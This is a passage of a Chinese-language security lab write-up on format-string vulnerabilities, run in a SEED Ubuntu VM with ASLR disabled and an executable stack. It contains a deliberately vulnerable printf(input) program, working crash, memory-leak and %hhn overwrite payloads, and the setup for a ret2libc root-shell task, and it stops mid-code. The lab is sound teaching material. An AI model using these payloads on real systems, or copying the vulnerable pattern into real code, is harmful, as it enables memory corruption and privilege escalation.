1.软件安全:格式化字符串漏洞实验
1.1 实验目的
- 在缓冲区溢出漏洞利用基础上,理解如何进行格式化字符串漏洞利用。
- C语言中的printf()函数用于根据格式打印出字符串,使用由printf()函数的%字符标记的占位符,在打印期间填充数据。格式化字符串的使用不仅限于printf()函数;其他函数,例如sprintf()、fprintf() 和scanf(),也使用格式字符串。 某些程序允许用户以格式字符串提供全部或部分内容
- 本实验的目的是利用格式化字符串漏洞,实施以下攻击
- 程序崩溃
- 读取程序内存
- 修改程序内存
- 恶意代码注入和执行。
1.2 实验环境
Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虚拟机
1.3 实验内容1 prog1
(1)改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799
(2) 改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef
a) 后半部分数据小于前半部分数据;
b) 为避免print大量字符,可以将数据分成4个部分分别写入(使用 %hhn)
注意:以上任务,需要关闭 ASLR
#include <stdio.h>
void fmtstr()
{
char input[100];
int var = 0x11223344;
/* print out information for experiment purpose */
printf("Target address: %x\n", (unsigned) &var);
printf("Data at target address: 0x%x\n", var);
printf("Please enter a string: ");
fgets(input, sizeof(input)-1, stdin);
printf(input);
printf("Data at target address: 0x%x\n",var);
}
void main() {
fmtstr(); }
1.3.1 环境配置
关闭ASLR sudo sysctl -w kernel.randomize_va_space=0
开启栈可执行 gcc -z execstack -o prog1 prog1.c
1.3.2 程序崩溃
输入:%s
解释:访问的字符串地址超出当前堆栈段时,非法访问导致崩溃。
1.3.3 读取程序内存
输入:%08x | %08x | %08x | %08x | %08x | %08x
解释:由于只有format串,所以从堆栈中选择参数打印内容,进而泄露内存信息。
1.3.4 修改程序内存1
改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799;
输入:
$ echo -e "\xb7\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb6\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.42x%hhn%.17x%hhn%.17x%hhn%.17x%hhn" > input
$ ./prog1 < input
解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60
66h - 60 = 42
77h - 66h= 17
88h - 77h= 17
99h - 88h= 17
%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小排好该填的地址
比如填写的顺序是66 77 88 99,其对应的地址是\xb7 \xb5 \xb6 \xb4
之后依次计算字符长度即可。
1.3.5 修改程序内存2
改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef;
输入:
$ echo -e "\xb6\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb7\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.113x%hhn%.17x%hhn%.32x%hhn%.17x%hhn" > input
$ ./prog1 < input
解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60
adh - 60 = 113
beh - adh = 17
deh - beh = 32
efh - deh = 17
同上理%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小拍好该填的地址即可
\xb6 \xb5 \xb7 \xb4
1.4 实验内容2 prog2
(1)开启 Stack Guard 保护,并开启栈不可执行保护,通过 ret2lib 进行利用,获得shell (可以通过调用 system(“/bin/sh”))
(2)尝试设置 setuid root,观察是否可以获得root shell
(3)提示:需要查找 ret2lic 中的 system 函数和“/bin/sh”地址:
#include <stdio.h>
void fmtstr(char* str)
{
unsigned int *framep;
unsigned int *ret;
//copy ebp into framep
asm("movl %%ebp, %0" : "=r" (framep));
ret = framep + 1;
/* print out information for experiment purpose */
printf("The address of the input array: 0x%.8x\n", (unsigned)str);
printf("The value of the frame pointer: 0x%.8x\n", (unsigned)framep);
printf("The value of the return address(before): 0x%.8x\n", *ret);
printf(str);
printf("\nThe value of the return address(after): 0x%.8x\n", *ret);
}
int main()
{
FILE *badfile;
char str[200];
badfile =